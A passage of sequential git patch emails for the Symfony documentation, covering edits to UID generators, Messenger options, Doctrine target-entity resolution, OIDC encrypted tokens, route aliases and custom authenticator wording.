Subject: [PATCH 5671/5766] Update uid.rst

with the string almost their is failure cause symfony dont find the class. This prevents it form it.
---
 components/uid.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/components/uid.rst b/components/uid.rst
index b031348f85a..fe15f964f44 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -527,6 +527,7 @@ entity primary keys::
     namespace App\Entity;
 
     use Doctrine\ORM\Mapping as ORM;
+    use Symfony\Bridge\Doctrine\IdGenerator\UlidGenerator;
     use Symfony\Bridge\Doctrine\Types\UlidType;
     use Symfony\Component\Uid\Ulid;
 
@@ -535,7 +536,7 @@ entity primary keys::
         #[ORM\Id]
         #[ORM\Column(type: UlidType::NAME, unique: true)]
         #[ORM\GeneratedValue(strategy: 'CUSTOM')]
-        #[ORM\CustomIdGenerator(class: 'doctrine.ulid_generator')]
+        #[ORM\CustomIdGenerator(class: UlidGenerator::class)]
         private ?Ulid $id;
 
         public function getId(): ?Ulid

From f98e8dc1d1853dd88d0c40c28e441952b90a3538 Mon Sep 17 00:00:00 2001
From: chx <chx1975@gmail.com>
Date: Tue, 22 Apr 2025 08:47:55 +0200
Subject: [PATCH 5672/5766] Clarify the code flow a little bit more

---
 components/runtime.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/components/runtime.rst b/components/runtime.rst
index 4eb75de2a75..336a8573227 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -36,6 +36,8 @@ So how does this front-controller work? At first, the special
 the component. This file runs the following logic:
 
 #. It instantiates a :class:`Symfony\\Component\\Runtime\\RuntimeInterface`;
+#. The runtime includes the front-controller script -- in this case
+   ``public/index.php`` -- making it run again. Make sure this doesn't cause problems.
 #. The callable (returned by ``public/index.php``) is passed to the Runtime, whose job
    is to resolve the arguments (in this example: ``array $context``);
 #. Then, this callable is called to get the application (``App\Kernel``);

From 7ada520c4c6856701cd7e4a30df9314da859c086 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 May 2025 09:11:49 +0200
Subject: [PATCH 5673/5766] Minor tweak

---
 components/runtime.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index 336a8573227..770ea102563 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -36,8 +36,9 @@ So how does this front-controller work? At first, the special
 the component. This file runs the following logic:
 
 #. It instantiates a :class:`Symfony\\Component\\Runtime\\RuntimeInterface`;
-#. The runtime includes the front-controller script -- in this case
-   ``public/index.php`` -- making it run again. Make sure this doesn't cause problems.
+#. The front-controller script (e.g. ``public/index.php``) is included by the
+   runtime, making it run again. Ensure this doesn't produce any side effects
+   in your code;
 #. The callable (returned by ``public/index.php``) is passed to the Runtime, whose job
    is to resolve the arguments (in this example: ``array $context``);
 #. Then, this callable is called to get the application (``App\Kernel``);

From 4e67b7324679f9fbffa24aad0d0635c41be8285a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 May 2025 09:21:16 +0200
Subject: [PATCH 5674/5766] Reword

---
 messenger.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index e37f075518a..97b95565fa7 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2468,7 +2468,8 @@ Possible options to configure with tags are:
     Name of the method that will process the message.
 
 ``priority``
-    Priority of the handler when multiple handlers can process the same message; higher values will be processed first.
+    Defines the order in which the handler is executed when multiple handlers
+    can process the same message; those with higher priority run first.
 
 .. _handler-subscriber-options:
 

From 9323d4717cbbbdf31108d122982e821330a75e89 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 May 2025 09:22:09 +0200
Subject: [PATCH 5675/5766] [Messenger] Backoport an improvement in the
 priority description

---
 messenger.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 18c7be913b5..cc0b13c3467 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2416,7 +2416,8 @@ Possible options to configure with tags are:
     Name of the method that will process the message.
 
 ``priority``
-    Priority of the handler when multiple handlers can process the same message.
+    Defines the order in which the handler is executed when multiple handlers
+    can process the same message; those with higher priority run first.
 
 .. _handler-subscriber-options:
 

From 01f381305940492ddbbfc0ab54a30db383971ac4 Mon Sep 17 00:00:00 2001
From: ifiroth <97906657+ifiroth@users.noreply.github.com>
Date: Tue, 27 May 2025 11:11:06 +0200
Subject: [PATCH 5676/5766] Update voters.rst

I think you're missing an argument here
---
 security/voters.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/voters.rst b/security/voters.rst
index 2b4a5af54e2..f20e1de62af 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -186,7 +186,7 @@ would look like this::
 
             return match($attribute) {
                 self::VIEW => $this->canView($post, $user),
-                self::EDIT => $this->canEdit($post, $user),
+                self::EDIT => $this->canEdit($post, $user, $vote),
                 default => throw new \LogicException('This code should not be reached!')
             };
         }
@@ -202,7 +202,7 @@ would look like this::
             return !$post->isPrivate();
         }
 
-        private function canEdit(Post $post, User $user): bool
+        private function canEdit(Post $post, User $user, ?Vote $vote): bool
         {
             // this assumes that the Post object has a `getAuthor()` method
             if ($user === $post->getAuthor()) {

From 91a952566fc2a93c08cb162eeddb1fc83edef0ab Mon Sep 17 00:00:00 2001
From: NanoSector <rick@nanosector.nl>
Date: Mon, 24 Mar 2025 21:31:11 +0100
Subject: [PATCH 5677/5766] [Doctrine] entityvalueresolver target entities

---
 doctrine.rst                       | 22 +++++++++++++++++
 doctrine/resolve_target_entity.rst | 39 +++++++++++++++++-------------
 2 files changed, 44 insertions(+), 17 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 171f8a3348a..876aaa3065d 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -780,6 +780,28 @@ variable. Let's say you want the first or the last comment of a product dependin
         Comment $comment
     ): Response {
     }
+    
+.. _doctrine-entity-value-resolver-resolve-target-entities:
+    
+Fetch via Interfaces
+~~~~~~~~~~~~~~~~~~~~
+
+Suppose your ``Product`` object implements an interface called ``ProductInterface``.
+If you want to decouple your controllers from your entity implementations, you can instead reference entities via an interface.
+To do this, first you need to configure the :doc:`resolve_target_entities option </doctrine/resolve_target_entity>`.
+        
+Your controller can then reference the Product entity by its interface instead::
+
+        public function show(
+            #[MapEntity]
+            ProductInterface $product
+        ): Response {
+            // ...
+        }
+        
+.. versionadded:: 7.3
+
+    Support for ``resolve_target_entites`` in the ``EntityValueResolver`` was introduced in Symfony 7.3.
 
 MapEntity Options
 ~~~~~~~~~~~~~~~~~
diff --git a/doctrine/resolve_target_entity.rst b/doctrine/resolve_target_entity.rst
index 5ae6475a957..c55b27f6463 100644
--- a/doctrine/resolve_target_entity.rst
+++ b/doctrine/resolve_target_entity.rst
@@ -1,30 +1,35 @@
-How to Define Relationships with Abstract Classes and Interfaces
-================================================================
+Referencing Entities with Abstract Classes and Interfaces
+=========================================================
 
-One of the goals of bundles is to create discrete bundles of functionality
-that do not have many (if any) dependencies, allowing you to use that
-functionality in other applications without including unnecessary items.
+In applications where functionality is segregated with minimal concrete dependencies
+between the various layers, such as monoliths which are split into multiple modules,
+it might be hard to prevent hard dependencies on entities between modules.
 
 Doctrine 2.2 includes a new utility called the ``ResolveTargetEntityListener``,
 that functions by intercepting certain calls inside Doctrine and rewriting
 ``targetEntity`` parameters in your metadata mapping at runtime. It means that
-in your bundle you are able to use an interface or abstract class in your
-mappings and expect correct mapping to a concrete entity at runtime.
+you are able to use an interface or abstract class in your mappings and expect
+correct mapping to a concrete entity at runtime.
 
 This functionality allows you to define relationships between different entities
 without making them hard dependencies.
 
+.. tip::
+
+    Starting with Symfony 7.3, this functionality also works with the ``EntityValueResolver``.
+    See :ref:`doctrine-entity-value-resolver-resolve-target-entities` for more details.
+
 Background
 ----------
 
-Suppose you have an InvoiceBundle which provides invoicing functionality
-and a CustomerBundle that contains customer management tools. You want
-to keep these separated, because they can be used in other systems without
-each other, but for your application you want to use them together.
+Suppose you have an application which provides two modules; an Invoice module which
+provides invoicing functionality, and a Customer module that contains customer management
+tools. You want to keep dependencies between these modules separated, because they should
+not be aware of the other module's implementation details.
 
-In this case, you have an ``Invoice`` entity with a relationship to a
-non-existent object, an ``InvoiceSubjectInterface``. The goal is to get
-the ``ResolveTargetEntityListener`` to replace any mention of the interface
+In this case, you have an ``Invoice`` entity with a relationship to the interface
+``InvoiceSubjectInterface``. This is not recognized as a valid entity by Doctrine.
+The goal is to get the ``ResolveTargetEntityListener`` to replace any mention of the interface
 with a real object that implements that interface.
 
 Set up
@@ -89,7 +94,7 @@ An InvoiceSubjectInterface::
         public function getName(): string;
     }
 
-Next, you need to configure the listener, which tells the DoctrineBundle
+Next, you need to configure the ``resolve_target_entities`` option, which tells the DoctrineBundle
 about the replacement:
 
 .. configuration-block::
@@ -141,6 +146,6 @@ Final Thoughts
 --------------
 
 With the ``ResolveTargetEntityListener``, you are able to decouple your
-bundles, keeping them usable by themselves, but still being able to
+modules, keeping them usable by themselves, but still being able to
 define relationships between different objects. By using this method,
-your bundles will end up being easier to maintain independently.
+your modules will end up being easier to maintain independently.

From e6ba3a96ec8c28f692dedb1bc22a423868aad574 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 May 2025 12:02:55 +0200
Subject: [PATCH 5678/5766] Rewords

---
 doctrine.rst                       | 28 +++++++------
 doctrine/resolve_target_entity.rst | 67 ++++++++++++++----------------
 2 files changed, 48 insertions(+), 47 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index e66488beefd..ecaf675df08 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -789,22 +789,26 @@ variable. Let's say you want the first or the last comment of a product dependin
 Fetch via Interfaces
 ~~~~~~~~~~~~~~~~~~~~
 
-Suppose your ``Product`` object implements an interface called ``ProductInterface``.
-If you want to decouple your controllers from your entity implementations, you can instead reference entities via an interface.
-To do this, first you need to configure the :doc:`resolve_target_entities option </doctrine/resolve_target_entity>`.
-        
-Your controller can then reference the Product entity by its interface instead::
+Suppose your ``Product`` class implements an interface called ``ProductInterface``.
+If you want to decouple your controllers from the concrete entity implementation,
+you can reference the entity by its interface instead.
 
-        public function show(
-            #[MapEntity]
-            ProductInterface $product
-        ): Response {
-            // ...
-        }
+To enable this, first configure the
+:doc:`resolve_target_entities option </doctrine/resolve_target_entity>`.
+Then, your controller can type-hint the interface, and the entity will be
+resolved automatically::
+
+    public function show(
+        #[MapEntity]
+        ProductInterface $product
+    ): Response {
+        // ...
+    }
         
 .. versionadded:: 7.3
 
-    Support for ``resolve_target_entites`` in the ``EntityValueResolver`` was introduced in Symfony 7.3.
+    Support for target entity resolution in the ``EntityValueResolver`` was
+    introduced Symfony 7.3
 
 MapEntity Options
 ~~~~~~~~~~~~~~~~~
diff --git a/doctrine/resolve_target_entity.rst b/doctrine/resolve_target_entity.rst
index c55b27f6463..1495f475628 100644
--- a/doctrine/resolve_target_entity.rst
+++ b/doctrine/resolve_target_entity.rst
@@ -1,44 +1,45 @@
 Referencing Entities with Abstract Classes and Interfaces
 =========================================================
 
-In applications where functionality is segregated with minimal concrete dependencies
-between the various layers, such as monoliths which are split into multiple modules,
-it might be hard to prevent hard dependencies on entities between modules.
+In applications where functionality is organized in layers or modules with
+minimal concrete dependencies, such as monoliths split into multiple modules,
+it can be challenging to avoid tight coupling between entities.
 
-Doctrine 2.2 includes a new utility called the ``ResolveTargetEntityListener``,
-that functions by intercepting certain calls inside Doctrine and rewriting
-``targetEntity`` parameters in your metadata mapping at runtime. It means that
-you are able to use an interface or abstract class in your mappings and expect
-correct mapping to a concrete entity at runtime.
+Doctrine provides a utility called the ``ResolveTargetEntityListener`` to solve
+this issue. It works by intercepting certain calls within Doctrine and rewriting
+``targetEntity`` parameters in your metadata mapping at runtime. This allows you
+to reference an interface or abstract class in your mappings and have it resolved
+to a concrete entity at runtime.
 
-This functionality allows you to define relationships between different entities
-without making them hard dependencies.
+This makes it possible to define relationships between entities without
+creating hard dependencies. This feature also works with the ``EntityValueResolver``
+:ref:`as explained in the main Doctrine article <doctrine-entity-value-resolver-resolve-target-entities>`.
 
-.. tip::
+.. versionadded:: 7.3
 
-    Starting with Symfony 7.3, this functionality also works with the ``EntityValueResolver``.
-    See :ref:`doctrine-entity-value-resolver-resolve-target-entities` for more details.
+    Support for target entity resolution in the ``EntityValueResolver`` was
+    introduced Symfony 7.3
 
 Background
 ----------
 
-Suppose you have an application which provides two modules; an Invoice module which
-provides invoicing functionality, and a Customer module that contains customer management
-tools. You want to keep dependencies between these modules separated, because they should
-not be aware of the other module's implementation details.
+Suppose you have an application with two modules: an Invoice module that
+provides invoicing functionality, and a Customer module that handles customer
+management. You want to keep these modules decoupled, so that neither is aware
+of the other's implementation details.
 
-In this case, you have an ``Invoice`` entity with a relationship to the interface
-``InvoiceSubjectInterface``. This is not recognized as a valid entity by Doctrine.
-The goal is to get the ``ResolveTargetEntityListener`` to replace any mention of the interface
-with a real object that implements that interface.
+In this case, your ``Invoice`` entity has a relationship to the interface
+``InvoiceSubjectInterface``. Since interfaces are not valid Doctrine entities,
+the goal is to use the ``ResolveTargetEntityListener`` to replace all
+references to this interface with a concrete class that implements it.
 
 Set up
 ------
 
-This article uses the following two basic entities (which are incomplete for
-brevity) to explain how to set up and use the ``ResolveTargetEntityListener``.
+This article uses two basic (incomplete) entities to demonstrate how to set up
+and use the ``ResolveTargetEntityListener``.
 
-A Customer entity::
+A ``Customer`` entity::
 
     // src/Entity/Customer.php
     namespace App\Entity;
@@ -55,7 +56,7 @@ A Customer entity::
         // are already implemented in the BaseCustomer
     }
 
-An Invoice entity::
+An ``Invoice`` entity::
 
     // src/Entity/Invoice.php
     namespace App\Entity;
@@ -63,9 +64,6 @@ An Invoice entity::
     use App\Model\InvoiceSubjectInterface;
     use Doctrine\ORM\Mapping as ORM;
 
-    /**
-     * Represents an Invoice.
-     */
     #[ORM\Entity]
     #[ORM\Table(name: 'invoice')]
     class Invoice
@@ -74,7 +72,7 @@ An Invoice entity::
         protected InvoiceSubjectInterface $subject;
     }
 
-An InvoiceSubjectInterface::
+The interface representing the subject used in the invoice::
 
     // src/Model/InvoiceSubjectInterface.php
     namespace App\Model;
@@ -94,8 +92,8 @@ An InvoiceSubjectInterface::
         public function getName(): string;
     }
 
-Next, you need to configure the ``resolve_target_entities`` option, which tells the DoctrineBundle
-about the replacement:
+Now configure the ``resolve_target_entities`` option to tell Doctrine
+how to replace the interface with the concrete class:
 
 .. configuration-block::
 
@@ -145,7 +143,6 @@ about the replacement:
 Final Thoughts
 --------------
 
-With the ``ResolveTargetEntityListener``, you are able to decouple your
-modules, keeping them usable by themselves, but still being able to
-define relationships between different objects. By using this method,
-your modules will end up being easier to maintain independently.
+Using ``ResolveTargetEntityListener`` allows you to decouple your modules
+while still defining relationships between their entities. This makes your
+codebase more modular and easier to maintain over time.

From a94507c576e7bebbb126116b3fb9bfe6e6dbd55e Mon Sep 17 00:00:00 2001
From: Dustin Meiner <168725484+curenect-meiner@users.noreply.github.com>
Date: Tue, 27 May 2025 11:36:02 +0200
Subject: [PATCH 5679/5766] Update uid.rst

---
 components/uid.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/components/uid.rst b/components/uid.rst
index fe15f964f44..4b6938e98d2 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -331,6 +331,7 @@ entity primary keys::
     namespace App\Entity;
 
     use Doctrine\ORM\Mapping as ORM;
+    use Symfony\Bridge\Doctrine\IdGenerator\UuidGenerator;
     use Symfony\Bridge\Doctrine\Types\UuidType;
     use Symfony\Component\Uid\Uuid;
 
@@ -339,7 +340,7 @@ entity primary keys::
         #[ORM\Id]
         #[ORM\Column(type: UuidType::NAME, unique: true)]
         #[ORM\GeneratedValue(strategy: 'CUSTOM')]
-        #[ORM\CustomIdGenerator(class: 'doctrine.uuid_generator')]
+        #[ORM\CustomIdGenerator(class: UuidGenerator::class)]
         private ?Uuid $id;
 
         public function getId(): ?Uuid

From 15728d3dbe8e79d47d0cef98b5c784673ed72619 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 May 2025 13:05:49 +0200
Subject: [PATCH 5680/5766] Minor tweaks

---
 security/access_token.rst | 20 ++++++++++++--------
 1 file changed, 12 insertions(+), 8 deletions(-)

diff --git a/security/access_token.rst b/security/access_token.rst
index 0370949e584..4d358aec526 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -411,15 +411,15 @@ and retrieve the user info:
             ;
         };
 
-To enable the `OpenID Connect Discovery`_, the ``OidcUserInfoTokenHandler``
+To enable `OpenID Connect Discovery`_, the ``OidcUserInfoTokenHandler``
 requires the ``symfony/cache`` package to store the OIDC configuration in
-cache. If you haven't installed it yet, run this command:
+the cache. If you haven't installed it yet, run the following command:
 
 .. code-block:: terminal
 
     $ composer require symfony/cache
 
-Then, configure the ``base_uri`` and ``discovery`` keys:
+Next, configure the ``base_uri`` and ``discovery`` options:
 
 .. configuration-block::
 
@@ -477,6 +477,10 @@ Then, configure the ``base_uri`` and ``discovery`` keys:
             ;
         };
 
+.. versionadded:: 7.3
+
+    Support for OpenID Connect Discovery was introduced in Symfony 7.3.
+
 Following the `OpenID Connect Specification`_, the ``sub`` claim is used as user
 identifier by default. To use another claim, specify it on the configuration:
 
@@ -691,16 +695,16 @@ it and retrieve the user info from it:
     The support of multiple algorithms to sign the JWS was introduced in Symfony 7.1.
     In previous versions, only the ``ES256`` algorithm was supported.
 
-To enable the `OpenID Connect Discovery`_, the ``OidcTokenHandler``
-requires the ``symfony/cache`` package to store the OIDC configuration in
-cache. If you haven't installed it yet, run this command:
+To enable `OpenID Connect Discovery`_, the ``OidcTokenHandler`` requires the
+``symfony/cache`` package to store the OIDC configuration in the cache. If you
+haven't installed it yet, run the following command:
 
 .. code-block:: terminal
 
     $ composer require symfony/cache
 
-Then, you can remove the ``keyset`` configuration key (it will be imported from
-the OpenID Connect Discovery), and configure the ``discovery`` key:
+Then, you can remove the ``keyset`` configuration option (it will be imported
+from the OpenID Connect Discovery), and configure the ``discovery`` option:
 
 .. configuration-block::
 

From 8b403f7948d9ce2bcec4f63b2783d8a055436a90 Mon Sep 17 00:00:00 2001
From: Florent Morselli <florent.morselli@spomky-labs.com>
Date: Sun, 9 Feb 2025 10:44:02 +0100
Subject: [PATCH 5681/5766] Add support for encrypted access tokens (JWE) in
 OIDC

This update introduces support for decrypting encrypted access tokens (JWE) in Symfony 7.3. It includes configuration options for enabling encryption, enforcing it, specifying decryption algorithms, and providing decryption keysets. The feature extends flexibility in handling secure tokens alongside existing signing mechanisms.
---
 security/access_token.rst | 27 ++++++++++++++++++++++++---
 1 file changed, 24 insertions(+), 3 deletions(-)

diff --git a/security/access_token.rst b/security/access_token.rst
index 4d358aec526..70c9e21980e 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -615,8 +615,8 @@ If you haven't installed it yet, run this command:
 
     $ composer require web-token/jwt-library
 
-Symfony provides a generic ``OidcTokenHandler`` to decode your token, validate
-it and retrieve the user info from it:
+Symfony provides a generic ``OidcTokenHandler`` that decodes the token, validates
+it, and retrieves the user information from it. Optionally, the token can be encrypted (JWE):
 
 .. configuration-block::
 
@@ -637,6 +637,11 @@ it and retrieve the user info from it:
                                 audience: 'api-example'
                                 # Issuers (`iss` claim): required for validation purpose
                                 issuers: ['https://oidc.example.com']
+                                encryption:
+                                    enabled: true # Default to false
+                                    enforce: false # Default to false, requires an encrypted token when true
+                                    algorithms: ['ECDH-ES', 'A128GCM']
+                                    keyset: '{"keys": [...]}' # Encryption private keyset
 
     .. code-block:: xml
 
@@ -662,6 +667,10 @@ it and retrieve the user info from it:
                                 <algorithm>ES256</algorithm>
                                 <algorithm>RS256</algorithm>
                                 <issuer>https://oidc.example.com</issuer>
+                                <encryption enabled="true" enforce="true" keyset="{'keys': [...]}">
+                                    <algorithm>ECDH-ES</algorithm>
+                                    <algorithm>A128GCM</algorithm>
+                                </encryption>
                             </oidc>
                         </token-handler>
                     </access-token>
@@ -681,12 +690,20 @@ it and retrieve the user info from it:
                         ->oidc()
                             // Algorithm used to sign the JWS
                             ->algorithms(['ES256', 'RS256'])
-                            // A JSON-encoded JWK
+                            // A JSON-encoded JWKSet (public keys)
                             ->keyset('{"keys":[{"kty":"...","k":"..."}]}')
                             // Audience (`aud` claim): required for validation purpose
                             ->audience('api-example')
                             // Issuers (`iss` claim): required for validation purpose
                             ->issuers(['https://oidc.example.com'])
+                            ->encryption()
+                                ->enabled(true) //Default to false
+                                ->enforce(false) //Default to false, requires an encrypted token when true
+                                // Algorithm used to decrypt the JWE
+                                ->algorithms(['ECDH-ES', 'A128GCM'])
+                                // A JSON-encoded JWKSet (private keys)
+                                ->keyset('{"keys":[...]}')
+
             ;
         };
 
@@ -695,6 +712,10 @@ it and retrieve the user info from it:
     The support of multiple algorithms to sign the JWS was introduced in Symfony 7.1.
     In previous versions, only the ``ES256`` algorithm was supported.
 
+.. versionadded:: 7.3
+
+    Support for encryption algorithms to decrypt JWEs was introduced in Symfony 7.3.
+
 To enable `OpenID Connect Discovery`_, the ``OidcTokenHandler`` requires the
 ``symfony/cache`` package to store the OIDC configuration in the cache. If you
 haven't installed it yet, run the following command:

From 22cd58eb815c7c672ab3d4f7164ed8a51dcca7bd Mon Sep 17 00:00:00 2001
From: Mathieu Santostefano <msantostefano@proton.me>
Date: Sun, 9 Feb 2025 17:56:57 +0100
Subject: [PATCH 5682/5766] [Routing] Add Attribute code examples for alias in
 `#[Route]` attribute

---
 routing.rst | 81 +++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 81 insertions(+)

diff --git a/routing.rst b/routing.rst
index e634a410c37..2f18b121472 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1340,6 +1340,23 @@ have been renamed. Let's say you have a route called ``product_show``:
 
 .. configuration-block::
 
+    .. code-block:: php-attributes
+
+        // src/Controller/ProductController.php
+        namespace App\Controller;
+
+        use Symfony\Component\HttpFoundation\Response;
+        use Symfony\Component\Routing\Attribute\Route;
+
+        class ProductController
+        {
+            #[Route('/product/{id}', name: 'product_show')]
+            public function show(): Response
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/routes.yaml
@@ -1376,6 +1393,25 @@ Instead of duplicating the original route, you can create an alias for it.
 
 .. configuration-block::
 
+    .. code-block:: php-attributes
+
+        // src/Controller/ProductController.php
+        namespace App\Controller;
+
+        use Symfony\Component\HttpFoundation\Response;
+        use Symfony\Component\Routing\Attribute\Route;
+
+        class ProductController
+        {
+            // "alias" named argument indicates the name of the alias you want to create.
+            // The alias will point to the actual route "product_show"
+            #[Route('/product/{id}', name: 'product_show', alias: ['product_details'])]
+            public function show(): Response
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/routes.yaml
@@ -1416,6 +1452,15 @@ Instead of duplicating the original route, you can create an alias for it.
 In this example, both ``product_show`` and ``product_details`` routes can
 be used in the application and will produce the same result.
 
+.. note::
+
+    Using non-attributes formats (YAML, XML and PHP) is the only way
+    to define an alias pointing to a route that you don't own.
+
+    So that you can use your own route name for URL generation,
+    while actually using a route defined by a third-party bundle as the target of that URL generation,
+    as the 2 definitions are not required to be in the same config file (or even in the same format).
+
 .. _routing-alias-deprecation:
 
 Deprecating Route Aliases
@@ -1436,6 +1481,42 @@ This way, the ``product_show`` alias could be deprecated.
 
 .. configuration-block::
 
+    .. code-block:: php-attributes
+
+        // src/Controller/ProductController.php
+        namespace App\Controller;
+
+        use Symfony\Component\HttpFoundation\Response;
+        use Symfony\Component\Routing\Attribute\Route;
+
+        class ProductController
+        {
+            // this outputs the following generic deprecation message:
+            // Since acme/package 1.2: The "product_show" route alias is deprecated. You should stop using it, as it will be removed in the future.
+            #[Route('/product/{id}',
+                name: 'product_details',
+                alias: new DeprecatedAlias(
+                    aliasName: 'product_show',
+                    package: 'acme/package',
+                    version: '1.2',
+                ),
+            )]
+            // Or, you can also define a custom deprecation message (%alias_id% placeholder is available)
+            #[Route('/product/{id}',
+                name: 'product_details',
+                alias: new DeprecatedAlias(
+                    aliasName: 'product_show',
+                    package: 'acme/package',
+                    version: '1.2',
+                    message: 'The "%alias_id%" route alias is deprecated. Please use "product_details" instead.',
+                ),
+            )]
+            public function show(): Response
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # Move the concrete route definition under ``product_details``

From 32e93b8b32003bd7bbe123f21137a19d87c5c185 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 May 2025 15:33:25 +0200
Subject: [PATCH 5683/5766] Tweaks and added the versionadded directive

---
 routing.rst | 18 +++++++++++-------
 1 file changed, 11 insertions(+), 7 deletions(-)

diff --git a/routing.rst b/routing.rst
index ee913f07b4c..bf3946b343d 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1405,8 +1405,8 @@ Instead of duplicating the original route, you can create an alias for it.
 
         class ProductController
         {
-            // "alias" named argument indicates the name of the alias you want to create.
-            // The alias will point to the actual route "product_show"
+            // the "alias" argument assigns an alternate name to this route;
+            // the alias will point to the actual route "product_show"
             #[Route('/product/{id}', name: 'product_show', alias: ['product_details'])]
             public function show(): Response
             {
@@ -1451,17 +1451,21 @@ Instead of duplicating the original route, you can create an alias for it.
             $routes->alias('product_details', 'product_show');
         };
 
+.. versionadded:: 7.3
+
+    Support for route aliases in PHP attributes was introduced in Symfony 7.3.
+
 In this example, both ``product_show`` and ``product_details`` routes can
 be used in the application and will produce the same result.
 
 .. note::
 
-    Using non-attributes formats (YAML, XML and PHP) is the only way
-    to define an alias pointing to a route that you don't own.
+    YAML, XML, and PHP configuration formats are the only ways to define an alias
+    for a route that you do not own. You can't do this when using PHP attributes.
 
-    So that you can use your own route name for URL generation,
-    while actually using a route defined by a third-party bundle as the target of that URL generation,
-    as the 2 definitions are not required to be in the same config file (or even in the same format).
+    This allows you for example to use your own route name for URL generation,
+    while still targeting a route defined by a third-party bundle. The alias and
+    the original route do not need to be declared in the same file or format.
 
 .. _routing-alias-deprecation:
 

From c15467e0abef4c60c6e2265994fc5761127f7b2c Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Mon, 31 Mar 2025 13:32:59 +0200
Subject: [PATCH 5684/5766] [Messenger] [Amqp] Add default exchange support

---
 messenger.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index fc8f9491022..f4c3f683627 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1645,11 +1645,15 @@ The transport has a number of options:
     Exchange flags
 
 ``exchange[name]``
-    Name of the exchange
+    Name of the exchange, an empty string can be used to use the default exchange
 
 ``exchange[type]`` (default: ``fanout``)
     Type of exchange
 
+.. versionadded:: 7.3
+
+    Empty string support for ``exchange[name]`` was introduced in Symfony 7.3.
+
 You can also configure AMQP-specific settings on your message by adding
 :class:`Symfony\\Component\\Messenger\\Bridge\\Amqp\\Transport\\AmqpStamp` to
 your Envelope::

From b17f770615cfe7beb1291746bb186cc07c4a8f8e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 May 2025 16:10:17 +0200
Subject: [PATCH 5685/5766] Minor tweak

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 08fdcf7f4dc..46ee188d68d 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1645,7 +1645,7 @@ The transport has a number of options:
     Exchange flags
 
 ``exchange[name]``
-    Name of the exchange, an empty string can be used to use the default exchange
+    Name of the exchange. Use an empty string to use the default exchange.
 
 ``exchange[type]`` (default: ``fanout``)
     Type of exchange

From 326e7e52585777d299865e5b788b9c00519aabe4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 May 2025 16:45:15 +0200
Subject: [PATCH 5686/5766] Tweaks and rewords

---
 security/custom_authenticator.rst | 73 +++++++++++++++----------------
 1 file changed, 35 insertions(+), 38 deletions(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 5877194ab4e..ed22ab96d19 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -219,10 +219,10 @@ identifier (e.g. the username or email)::
 User Identifier
 ~~~~~~~~~~~~~~~
 
-The user identifier is a unique string that identifies the user. It is used
-to load the user using :ref:`the user provider <security-user-providers>`.
-This identifier is often something like the user's email address or username,
-but it could be any unique value associated with the user.
+The user identifier is a unique string that identifies the user. It is often
+something like their email address or username, but it can be any unique value
+associated with the user. It allows loading the user through the configured
+:ref:`user provider <security-user-providers>`.
 
 .. note::
 
@@ -262,21 +262,39 @@ but it could be any unique value associated with the user.
             }
         }
 
-It is a good practice to normalize the user identifier before using it.
-For example, this ensures that variations such as "john.doe", "John.Doe",
-or "JOHN.DOE" refer to the same user.
-Normalization can include converting the identifier to lowercase
-and trimming unnecessary spaces.
-You can optionally pass a user identifier normalizer as third argument to the
-``UserBadge``. This callable receives the ``$userIdentifier``
-and must return a normalized user identifier as a string.
+It's a good practice to normalize the user identifier before using it. This
+ensures that variations like "john.doe", "John.Doe", or "JOHN.DOE" are treated
+as the same user.
+
+Normalization typically involves converting the identifier to lowercase and
